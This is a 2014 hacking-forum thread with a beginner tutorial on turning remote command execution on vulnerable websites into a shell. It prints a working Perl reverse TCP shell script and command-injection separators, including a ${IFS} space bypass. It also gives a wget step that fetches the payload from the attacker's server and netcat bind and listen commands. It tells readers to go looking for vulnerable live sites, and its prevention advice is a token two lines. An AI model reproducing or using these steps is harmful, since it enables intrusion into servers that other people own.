

Forum:[Hack Forums](#)

Thread: [\[TUT\] From Remote Command/Code Execution to CLI Shell *With Pictures* \[TUT\]](#)

hahdbwoannniabs - June 2, 2014, 9:57 pm

So as the thread's title states, this is a tutorial on how to go from RCE to a command line shell. I will be providing screenshot examples throughout the thread.

This thread is aimed at beginners.

Table of Contents -

0x01 - What is RCE?

0x02 - What is it caused by?

0x03 - How to go from RCE to CLI Shell

0x04 - How to prevent it

0x01 - What is RCE?

RCE stands for Remote Command Execution or Remote Code Execution.

Both phrases mean the exact same thing, which is executing commands._____

0x02 - What is it caused by?

99% of the time, RCE is caused by developers or the owner of a website providing the system() function to users. It's absolutely retarded and is born out of administrator stupidity._____

0x03 - How to go from RCE to CLI Shell

Here's the part all of you clicked this thread for.

The first step is finding a vulnerable website. The vulnerable fields are usually a GET data parameter in the website, but they can also be in user-input fields. For example, a ping service website. There would be a user-input box that tells you to type in the IP of the server you want to ping. To see if it's vulnerable, type any command in the input box or GET/POST parameter like ls or dir. This will list the files in the current directory that the vulnerable file is in.

Here is an example -

Spoiler [\(Click to View\)](#)

Notice how I used "|" before and after the command. The server won't always allow commands alone, which is why I had to use it. Common things to enter before and after the command are ; and | but usually you can just enter the command by itself.

Okay, we found a vulnerable website. Now what?

We use a command called wget to retrieve our file with our (insert programming language here) bind/reverse shell script in it. For this tutorial, I will be using a perl reverse TCP shell script. You may use a bind shell script, the instructions for the tutorial will still be the same. I will include what to do to get the reverse shell and what to do to get the bind shell.

Here is the perl reverse TCP shell script I will be using -
Code use Socket;

```
$i="your external ip";  
$p=your forwarded port;
```

```
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));  
if(connect(S,sockaddr_in($p,inet_aton($i))) {  
    open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");  
};
```

This script (which will be later executed on the server) will connect to your IP on the port you're forwarding to your computer with the /bin/sh job. Save it as whateveryouwant.pl and upload it to a server or perhaps your own server where it will display it with nothing around it to interfere with it.

Once you've done that, enter this into the command execution parameter -
Code `wget (website or server).com/(name of file).extension`
Here's mine -
Spoiler ([Click to View](#))

Notice how I had to use "\${IFS}" instead of spaces. This was because the server did not allow me to use spaces when executing the commands. There is about a 50/50 chance of this happening when finding RCE.

Indication that the command executed properly is the fact that it didn't generate any error messages. But to be sure, let's do the ls command to view the files in the directory and see if ours is there.

Here's mine -
Spoiler ([Click to View](#))

The upload was successful! As you can see in the red box, the file that I retrieved is there. If the file name is fucked up and something random or you simply just want to change it, you can use the command "mv oldname.txt newname.txt" To make sure it worked, just run ls again.

Here is where we obtain the shell.

If you're using a bind shell script -
Spoiler ([Click to View](#))

Okay, now that we have our file uploaded and shit, we need to execute the script using a command.

Execution commands for different languages -

Perl - Code `perl file.pl` Python - Code `python file.py` C (You will need to compile it first) - Code `./filename` PHP - Code `php file.php` You get the idea.

Once we have executed the script using the command, we will need to connect to the port on the server that has the /bin/sh or /bin/bash shell bound to it. For this tutorial, I will be using netcat. It's known as the TCP/IP pocket knife and I couldn't agree more. The command is simple with this tool. All you have to type in on your terminal or prompt is
Code `nc (server IP address) (port with the job bound to it)`
And wala. If you did everything correctly, you will have your shell.

If you're using a reverse shell script -
Spoiler ([Click to View](#))

Okay, now that we have our file uploaded and shit, we will need to get the server to connect to the

port that was portforwarded to your computer and that you're listening on. I'm not going to teach you how to portforward, you can find that out on your own.

For this tutorial, I will be using netcat to listen on the port we used for the script. As an example I will be using port 31337. The command we need to execute on our side (your computer) to listen on port 31337 is

Code `nc -l 31337` This listens for any connections on the port 31337 and accepts them.

The same command goes for any port. Run this command and keep the terminal/prompt open.

Once we've done that, we need to execute the reverse TCP shell script on the server.

Execution commands for different languages -

Perl - Code `perl file.pl` Python - Code `python file.py` C (You will need to compile it first) - Code

`./filename` PHP - Code `php file.php` You get the idea.

And once you've executed the script, if you did everything correctly, you should have a shell on your terminal/prompt.

0x04 - How to prevent it

Well first things first, simply don't fucking provide users with the `system()` function. If you are providing users with the `system()` function but don't want to get pwnt, you can filter meta-characters using a PHP script. I'm not going to go into detail about the PHP script.

I hope you all enjoyed the tutorial and found it helpful, if you have any suggestions or comments post them below.

hahdbwoannniabs - June 5, 2014, 7:26 am

No replies?

Okay then fuckers, I hate you too.

Talu - June 5, 2014, 8:39 am

This tutorial looks HQ, I'll look into it. Thanks.